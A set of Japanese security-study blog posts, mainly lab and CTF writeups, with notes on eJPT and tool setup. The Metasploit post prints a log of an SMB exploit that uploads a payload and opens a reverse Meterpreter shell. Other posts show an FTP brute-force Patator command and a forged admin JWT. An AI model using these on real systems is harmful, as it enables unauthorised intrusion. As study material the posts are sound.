Web Security Academy「JWT authentication bypass via unverified signature」解いてみた
はじめに
この記事は「shinobe179 Advent Calendar 2022」2日目の記事です。
まずは「Lab from all topics」のコンプリートに向けて、「JWT authentication bypass via unverified signature」を解きました。簡単な問題ですが、飲み会終わりにつきお許しを。
メモ
事前情報
- アプリはJWTの署名を検証しない
- つまり、書き換えが自由!
流れ
- とりあえずwiener:peterでログインする
- Cookieに入っているJWTをコピペして https://jwt.io/ へ
- ペイロード部の平文をコピーして、
sub
をadministrator
へ書き換える - base64を生成する(後述)
- ペイロードを差し替える
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9
- Cookieを差し替えると、/adminへアクセスできるようになる
base64の生成はこんな感じ。
$echo -n '{"iss":"portswigger","sub":"administrator","exp":1670003185}' | base64 eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMx ODV9 # 検証。改行文字がないのでプロンプトの$が続く $echo -n eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9 | base64 -d {"iss":"portswigger","sub":"administrator","exp":1670003185}$
宿題
Burp SuiteのInspectorで、JWTの編集ができるみたい。便利!
Web Security Academy「Forced OAuth profile linking」解いてみた
はじめに
この記事は「shinobe179 Advent Calendar 2022」1日目の記事です。
CISSP、eJPT以降、忙しさにかまけて精進が滞っていたので、アドベントカレンダーの力を借りてBurp Suite Certified Practitioner(BSCP)を取ろうかなと思います。
久しぶりにWeb Security Academyにログインしたら、Burp Challengeというコンテンツが出てきました。なんか商品とか試験クレジットがもらえたりするらしいです。今日は眠いんで土日にちゃんと読みます。
「今のダッシュボードでも貼っとくか」と思ってスクショ貼って気づいたんですが、下段のExam preparation stepsが、BSCPを受ける条件の進捗を示してるんですね。
Lab from all topicsが未完了ですが、今日のところはとりあえずSpecific labsの中で終わってなかった「Forced OAuth profile linking」をやってみました。
メモ
流れ
/oauth-linking?code=...
というリクエストをインターセプトしてドロップする。<iframe>
でターゲットに表示させると、アンチCSRFトークンがないのでCSRFが成立する。- peterでログインし直すと、管理者のSNSアカウントが紐付けられていて、管理者パネルを操作できるようになっている。
不明点
- どうしてこうなった
- OAuthの本がKindleにあったはずなので、読んで復習しながらシーケンス図を書いて理解する。
UECTF2022 Writeup
はじめに
UECTF2022、shinozakiaiというユーザー名で参加して20位でした。Writeupを書きます。
逆Writeup(解けなかった問題を復習することを勝手にそう呼んでます)もセットで書くつもりだったんですが、丁寧、丁寧、丁寧にやりたいので別記事にしようと思います。
感想
私にはちょうどいい難易度で、比較的たくさん解けて面白かったです。特にMISCにユニークな問題が多かった印象です。運営の皆様、ありがとうございました。
WEB
webapi
HTMLにベタ書きされているFLAG_URLを見ればflag。
request-validation
ソースコードを読むと、GETパラメータ q
がobjectならflagがもらえるみたい。
if (req.query.q && typeof req.query.q === 'object') {$ res.send(FLAG)$
どうしたらobject扱いになるかなーと思って、ローカルで立ち上げた環境に ?q={'test': 'test'}
など色々投げてたら、?q=test1&q=test2
でflag。
FORENSICS
Compare
バイナリ同士を比較する cmp
というコマンドがあることを知る。見た目は一緒だけど、差分はあるみたい。
$cmp -l UECTF_org.bmp UECTF_new.bmp 101845 377 125 102818 377 105 103839 377 103 104752 377 124 105401 377 106 106038 377 173 106639 377 143 107228 377 157 107757 377 155 108406 377 160 109103 377 141 109848 377 162 110605 377 145 111218 377 137 111855 377 164 112504 377 167 113141 377 157 113754 377 137 114379 377 146 115040 377 151 115593 377 154 116326 377 145 116939 377 163 117480 377 137 118285 377 142 118874 377 171 119523 377 164 120040 377 145 120605 377 137 121170 377 142 121819 377 171 122384 377 137 123033 377 142 123574 377 171 124103 377 164 124668 377 145 125065 377 175
この 125
とか 105
をPythonで chr()
したりすればいいのか?と思うもなんかうまくいかず。しかたがないのでorgとnewそれぞれの xxd
の出力を保存して diff
で比較した。差分になっている箇所が UECTF{
となっているので、温かみのある手作業でflagを組み立てた。
377ってなんだ?
$diff -u org new | grep ^+ +++ new 2022-11-26 15:35:15.396738997 +0900 +00018dd0: ffff ffff 55ff ffff ffff ffff ffff ffff ....U........... +000191a0: ff45 ffff ffff ffff ffff ffff ffff ffff .E.............. +00019590: ffff ffff ffff ffff ffff ffff ffff 43ff ..............C. +00019920: ffff ffff ffff ffff ffff ffff ffff ff54 ...............T +00019bb0: ffff ffff ffff ffff 46ff ffff ffff ffff ........F....... +00019e30: ffff ffff ff7b ffff ffff ffff ffff ffff .....{.......... +0001a080: ffff ffff ffff ffff ffff ffff ffff 63ff ..............c. +0001a2d0: ffff ffff ffff ffff ffff ff6f ffff ffff ...........o.... +0001a4e0: ffff ffff ffff ffff ffff ffff 6dff ffff ............m... +0001a770: ffff ffff ff70 ffff ffff ffff ffff ffff .....p.......... +0001aa20: ffff ffff ffff ffff ffff ffff ffff 61ff ..............a. +0001ad10: ffff ffff ffff ff72 ffff ffff ffff ffff .......r........ +0001b000: ffff ffff ffff ffff ffff ffff 65ff ffff ............e... +0001b270: ff5f ffff ffff ffff ffff ffff ffff ffff ._.............. +0001b4e0: ffff ffff ffff ffff ffff ffff ffff 74ff ..............t. +0001b770: ffff ffff ffff ff77 ffff ffff ffff ffff .......w........ +0001b9f0: ffff ffff 6fff ffff ffff ffff ffff ffff ....o........... +0001bc50: ffff ffff ffff ffff ff5f ffff ffff ffff ........._...... +0001bec0: ffff ffff ffff ffff ffff 66ff ffff ffff ..........f..... +0001c150: ffff ffff ffff ffff ffff ffff ffff ff69 ...............i +0001c380: ffff ffff ffff ffff 6cff ffff ffff ffff ........l....... +0001c660: ffff ffff ff65 ffff ffff ffff ffff ffff .....e.......... +0001c8c0: ffff ffff ffff ffff ffff 73ff ffff ffff ..........s..... +0001cae0: ffff ffff ffff ff5f ffff ffff ffff ffff ......._........ +0001ce00: ffff ffff ffff ffff ffff ffff 62ff ffff ............b... +0001d050: ffff ffff ffff ffff ff79 ffff ffff ffff .........y...... +0001d2e0: ffff 74ff ffff ffff ffff ffff ffff ffff ..t............. +0001d4e0: ffff ffff ffff ff65 ffff ffff ffff ffff .......e........ +0001d710: ffff ffff ffff ffff ffff ffff 5fff ffff ............_... +0001d950: ff62 ffff ffff ffff ffff ffff ffff ffff .b.............. +0001dbd0: ffff ffff ffff ffff ffff 79ff ffff ffff ..........y..... +0001de00: ffff ffff ffff ffff ffff ffff ffff ff5f ..............._ +0001e090: ffff ffff ffff ffff 62ff ffff ffff ffff ........b....... +0001e2b0: ffff ffff ff79 ffff ffff ffff ffff ffff .....y.......... +0001e4c0: ffff ffff ffff 74ff ffff ffff ffff ffff ......t......... +0001e6f0: ffff ffff ffff ffff ffff ff65 ffff ffff ...........e.... +0001e880: ffff ffff ffff ffff 7dff ffff ffff ffff ........}.......
Deleted
ディスクイメージは binwalk
と foremost
かけときゃええやろ精神で、 foremost
で画像ファイルがいくつか発掘できた。漁ったらflagが描いてあるファイルがあった。
Discord 1
ワンライナーで画像ファイルを列挙して、片っ端から確認した。
$find . -name '*' -exec file {} \; | grep -o -P '^.+: \w+ image' ./Cache/f_00002b: PNG image ./Cache/f_00002c: PNG image ./Cache/f_00002f: PNG image ./Cache/f_00003a: PNG image ./Cache/f_00008b: PNG image ./Cache/f_00008c: PNG image ./Cache/f_00008d: PNG image ./Cache/f_00008e: PNG image ./Cache/f_00008f: PNG image ./Cache/f_000090: PNG image ./Cache/f_000091: PNG image ./deafen-off-light.png: PNG image ./disconnect-light.png: PNG image ./mute-off-light.png: PNG image ./tray-connected.png: PNG image ./tray-deafened.png: PNG image ./tray-muted.png: PNG image ./tray-speaking.png: PNG image ./tray-unread.png: PNG image ./tray.png: PNG image ./video-light.png: PNG image
Discord 2
grep
。
$grep -r UECTF . grep: ./Local Storage/leveldb/000004.log: binary file matches
MISC
WELCOME
割愛。
caesar
以下のコードでflagをエンコードしている。なんかあんまり細かいこと考えずに、 letter[(index+14)%len(letter)]
のとこを letter[(index-14)%len(letter)]
にした関数を decode()
として使ったら復号できた。
from string import ascii_uppercase,ascii_lowercase,digits,punctuation def encode(plain): cipher='' for i in plain: index=letter.index(i) cipher=cipher+letter[(index+14)%len(letter)] return cipher ascii_all='' for i in range(len(ascii_uppercase)): ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i] letter=ascii_all+digits+punctuation plain_text='UECTF{SECRET}' cipher_text=encode(plain_text) print(cipher_text)
こういうの、読むのも嫌になってしまうというか、自分がやりたいCTFはこういうのじゃねえ!と逃げてしまう。
reduction gone wrong 1
黒塗りの箇所をコピペすると「nope」がでてきてぐぬぬ……となった。 「ctf pdf 黒塗り」でググったらLibreOfficeでなんとかしたという記事がでてきたので、そのようにしてflag。
reduction gone wrong 2
Windows10標準のペイントで輝度をガンガン上げまくってflag。
GIF1
GIFの中で一瞬flagが表示される。GIMPをダウンロードするのが面倒だったので、Windows+Gで起動する録画機能で録画した。
WHEREAMI
ヒントを見て、これが「plus code」なるものだということが分かった。
plus code を使用して場所を検索、共有する - Android - マップ ヘルプ
1行が1地点を示しているとすると、たくさんあるし、いくつか試すと太平洋というだだっ広いところを示しているようだったので、きっと全部にピンを打ったらflagが浮かび上がるんだろうなと想像がついた。
ので、その方法を探すと以下のページにたどり着いた。スプレッドシートに列挙した地理情報を、まとめてインポートできるみたいだ。
Googleマップ:住所録から地図に一括マークアップする方法(マイマップ作成) - Fans!Google
やってみたらflag。面白い問題だった。
OSINT
IDを変更したTwitterアカウント( https://twitter.com/__yata_nano__ )をネトストする問題。
Wayback machineでアーカイブを発見。
https://web.archive.org/web/20221026140525/https://twitter.com/__yata_nano__
ツイートの中身からは、新IDに関する情報は見つからず。色々ググっていたら、ユーザーに変更不可能なIDが割り当てられていることが分かった。
アーカイブのソースを見てみたら、それらしきものが書かれている。
以下のURLにアクセスすると、新ユーザーIDのアカウントへリダイレクトされる。pastebinのURLをツイートしていて、そこでflagを入手した。UECTF
なんかを検索することで辿り着かせないためだと思うけど、手が込んでいるなあと思った。自分だったら適当に検索避けするとか画像とかで済ませちゃいそうだけど、こういう方法もあるんだな。
https://twitter.com/intent/user?user_id=1585261641125416961
REV
A file
うおおおお
$ strings chall | grep UECTF UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
Linux(Parrot OS)とBluetoothキーボードのペアリングに苦戦し、最終的にbluetoothctlで勝利した話
Kali Linuxのaptが大崩壊したので、Parrot OSに乗り換えました。
移行作業は順調でしたが、唯一HHKBのペアリングがGUIのBluetoothマネージャーではうまくいきませんでした。どうやら、ペアリング時のパスコードの入力に対応していないようです。
結論
以下のサイトを見つけて、 bluetoothctl
を使って乗り越えました。
細かいことは全然覚えてしログも取り損ねた(無能)んですが……だいたい以下のような感じでした。
- HHKBを、ペアリング状態(LEDが1秒に3回くらい点滅するやつ)にしておく
bluetoothctl
(プロンプトが変わる)scan on
(プロンプトが変わる)devices
(発見したデバイスとMACアドレスの一覧を表示する)agent on
(「もともとonだよ」みたいなメッセージが出た)connect 00:00:DE:AD:BE:EF
(HHKBのMACアドレスを指定し、接続する)ほっとくと勝手にプロンプトが[HHKB-Hybrid_{n}]
になる{n}
はHHKBをペアリング状態にした時に使った数字キー
default-agent
(なにか起きた感じはしなかったが、入力したら↓が起きた)Passkey
が表示されるので、HHKBで入力してEnterを押すとペアリング完了
eJPT(eLearnSecurity Junior Penetration Tester)に合格しました
はじめに
eLearn Junior Penetration Testerに合格しました。試験概要みたいなところは良質なQiitaの記事があるのでそちらを紹介するとして、合格に至るまでを共有します。
※注意!…私が受けたのはeJPTv1で、近日中に(すでに?)eJPTv2というのがリリースされる(された?)そうです。この記事の内容の一部または全部がv2の受検に必ずしも活きない点はご留意ください。
どんな資格?どうすれば受験できる?どうすれば合格できる?
……みたいなことは、全てこちらの記事に委ねます。この記事のおかげで合格できたようなものです。
私の合格まで
前提と学習
もともと、TryHackMeをレベルOMNI
になるまでやっています。THMや『ハッキング・ラボ』などの書籍を通して、ペンテストのだいたいの流れ、ツールの性質や使い方はだいたい把握していました。業務で脆弱性診断や侵入テストをやることはほぼないです。
INEのトレーニングコンテンツはひたすらBlack-box Penetration Test 1〜3をやるのみでした。CISSPの受験を目標に勉強していた7〜9月あたりも息抜きがてらラボをやっていて、CISSPに合格した9月上旬から、次の目標として本腰を入れ始めたって感じです。3つのラボをつまづかずに解けるようになった段階で試験を受けました。
今年の1月の時点で、すでに受験の意思はあったようです。
eJPTいくか
— shinobe179 (@shinobe179) 2022年1月25日
2月中旬ぐらいで、はじめてINEのトレーニングコンテンツへアクセスしています。
eJPTのラボやろうと思ってたけどunder maintenanceとのことなのでTHMやる。
— shinobe179 (@shinobe179) 2022年2月11日
試験
試験は3日間でしたが、以下のように進みました。ご飯食べたりお風呂入ったりは普通にしていました。私程度のレベルでも時間的な余裕はある試験だと思います。ハマってる間は悶々としてキツかったですが。
- 1日目の夜:10問も回答できていないぐらいでハマる
- 2日目の朝:壁を越えて当落線上ギリギリの15問程度を回答したところでまたハマる
- 2日目の夜:再び壁を越えて全問回答
- 3日目の朝:全問確認してsubmit
結果は20問中18問正解でした。全問正解だろうなと思っていましたが、どれが間違ってたんだろう……?
完走した感想
これまでTHMなどで単一サーバーしか相手にしたことがなく、複数のサーバーやネットワークが存在する環境は新鮮でやりがいがありました。eJPT、おすすめです。
一方で、かなり苦戦したので、「Juniorでこれ……!?」って気持ちもありました。壁を越えられたのもほぼ偶然だったり、OSSのツールに頼り気味だったりなど、反省が多いです。精進を続けます。
次の目標は未定で、なんとなく以下から選ぶ予定でいます。おすすめのトレーニング、資格があったら教えてください!
Kali LinuxのMetasploitが使えなくなったら、Dockerイメージを使えばいいじゃない
はじめに
Kali LinuxのMetasploitが使えなくなって、急遽Dockerイメージで難を逃れた、という話です。
経緯
Kali LinuxのMetasploitが、突如として使えなくなりました。
$ msfconsole Could not find activerecord-6.1.4.6, actionpack-6.1.4.6, bcrypt-3.1.16, json-2.6.1, metasploit-concern-4.0.3, metasploit-credential-5.0.5, metasploit_data_models-5.0.4, metasploit-model-4.0.3, msgpack-1.4.5, network_interface-0.0.2, nokogiri-1.13.1-x86_64-linux, packetfu-1.1.13, pcaprub-0.13.1, pg-1.3.2, railties-6.1.4.6, recog-2.3.22, octokit-4.22.0, redcarpet-3.5.1, puma-5.6.2, thin-1.8.1, em-http-request-1.1.7, http-cookie-1.0.4, rspec-rerun-1.1.0, rails-6.1.4.6, bson-4.14.1, dnsruby-1.61.9, ed25519-1.3.0, bcrypt_pbkdf-1.1.0, winrm-2.3.6, sqlite3-1.4.2, xdr-3.0.3, hrr_rb_ssh-ed25519-0.4.2, irb-1.3.6, aws-sdk-s3-1.112.0, faye-websocket-0.11.1, eventmachine-1.2.7, ruby-oci8-2.2.10, actionview-6.1.4.6, rails-dom-testing-2.0.3, rails-html-sanitizer-1.4.2, arel-helpers-2.14.0, racc-1.6.0, nio4r-2.5.8, em-socksify-0.3.2, http_parser.rb-0.8.0, domain_name-0.5.20190701, actioncable-6.1.4.6, actionmailbox-6.1.4.6, actionmailer-6.1.4.6, actiontext-6.1.4.6, activejob-6.1.4.6, activestorage-6.1.4.6, sprockets-rails-3.4.2, simpleidn-0.2.1, gssapi-1.3.1, io-console-0.5.11, websocket-driver-0.7.5, loofah-2.14.0, unf-0.1.4, ffi-1.15.5, unf_ext-0.0.8 in any of the sources Run `bundle install` to install missing gems.
bundle install
を試みてもダメ、apt remove
して入れ直すことも試してみたのですが、依存関係もひっちゃかめっちゃかになってしまっており、どうにもできない状態でした。OS再インストールも時間の制約があって無理だったので、Dockerイメージに縋ったところ、うまくいきました。
※2022-09-21追記
metasploitframework/metasploit-framework、オフィシャルなリポジトリなのかよく分からない問題。一応登録情報自体は、開発元のRapid7っぽくはあるのですが。
これとは別に、Rapid7としての登録は別で存在しているみたい。
一応、Parrot Securityのリポジトリも置いておきます。手元でrunしてみたところ、こちらはPostgreSQLとNmapが同梱されているようでした。
Rapid7のMetasploit関係っぽいリポジトリは、あんまりメンテナンスされていない感じ……?
使い方
普通にpullしてrunすると、いつものプロンプトが顔を見せてくれます。ポートバインドはリバースシェルを確立する時のリッスンポートや、Meterpreterのportfwd
をする時にホストOSからの通信を受け付けるためのものです*1。
$ docker pull metasploitframework/metasploit-framework $ docker run -p 4440-4450:4440-4450 -it metasploitframework/metasploit-framework
注意事項
windows/meterpreter/reverse_tcp
などのペイロードを使ってコネクションを確立する場合、LHOST
をホストOSのIPアドレスにする必要があります。これをメモしておきたいがための記事です。
全く裏をとっていない適当なことを言いますが、LHOST
には以下の2つの役割があると思われます。
したがって、コンテナのIPアドレスだったりすると到達性の問題で都合が悪いのだと思います。コンテナ自身はそのIPアドレスを持たないので、ターゲットからの通信を0.0.0.0
で待ち受けます(以下のログ1〜2行目を参照)。
msf6 exploit(omitted) > run [-] Handler failed to bind to 192.0.2.1:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 [*] 198.51.100.1:445 - Target OS: Windows 5.1 [*] 198.51.100.1:445 - Filling barrel with fish... done [*] 198.51.100.1:445 - <---------------- | Entering Danger Zone | ----------------> [*] 198.51.100.1:445 - [*] Preparing dynamite... [*] 198.51.100.1:445 - [*] Trying stick 1 (x86)...Boom! [*] 198.51.100.1:445 - [+] Successfully Leaked Transaction! [*] 198.51.100.1:445 - [+] Successfully caught Fish-in-a-barrel [*] 198.51.100.1:445 - <---------------- | Leaving Danger Zone | ----------------> [*] 198.51.100.1:445 - Reading from CONNECTION struct at: 0x8216e290 [*] 198.51.100.1:445 - Built a write-what-where primitive... [+] 198.51.100.1:445 - Overwrite complete... SYSTEM session obtained! [*] 198.51.100.1:445 - Selecting native target [*] 198.51.100.1:445 - Uploading payload... mtZMSrbZ.exe [*] 198.51.100.1:445 - Created \mtZMSrbZ.exe... [+] 198.51.100.1:445 - Service started successfully... [*] Sending stage (175174 bytes) to 198.51.100.1 [*] 198.51.100.1:445 - Deleting \mtZMSrbZ.exe... [*] Meterpreter session 2 opened (172.17.0.2:4444 -> 198.51.100.1:3731) at 2022-09-18 12:33:44 +0000
おわりに
パッケージ管理システムの依存関係ぶっ壊れ、解消できる人っているんでしょうか?再インストールとか、新しいインスタンス立てるとかで対処するのしか見たことないんですが。
何はともあれDocker便利だなというのと、ポートバインドやLHOST
はネットワークを理解していなかったら延々ハマっていたと思うので、ネットワークやっててよかったなと思いました(小並感)。
*1:きっと必要だと思って指定していますが、指定しないパターンの検証はしていません
ユーザー名とパスワードの組を固定してSSH / FTPへ辞書攻撃する
はじめに
FTPやSSHでの辞書攻撃を、ユーザー名とパスワードの組を固定してやりたい場合、Patetorの --groups
オプションを使うといいです。
「ユーザー名とパスワードの組を固定する」とは、例えばパラメータp1、p2に対応するペイロードのリストl1、l2を用意し、以下のようにリクエストを送信することを指します。Burp Suiteのintruderでいうところのpitchfork
ですね。
- 1回目…p1: l1の1行目 / p2: l2の1行目
- 2回目…p2: l1の2行目 / p2: l2の2行目
- 3回目…p2: l1の3行目 / p2: l2の3行目
- …
Burp Suiteを例に挙げている通り、HTTP(S)を対象としたツールでは見かける動作モードなのですが、SSH / FTPでもやりたいなーと思ったらいつも使っているHydraではできなさそうだったので、探してみたところPatatorならできた、というのが経緯です。
Patator(および、同種のツールの多く)では、デフォルトだと以下のように全ての組み合わせを試す動作します。intruderではclusterbomb
と呼ばれているやつです。
- 1回目…p1: l1の1行目 / p2: l2の1行目
- 2回目…p2: l1の1行目 / p2: l2の2行目
- 3回目…p2: l1の1行目 / p2: l2の3行目
- …
やり方
--groups
の引数として、組にしたいファイルの番号をコロン区切りで与えればOKです。
patator ftp_login host=192.0.2.1 user=FILE0 password=FILE1 0=usernames 1=passwords --groups 0:1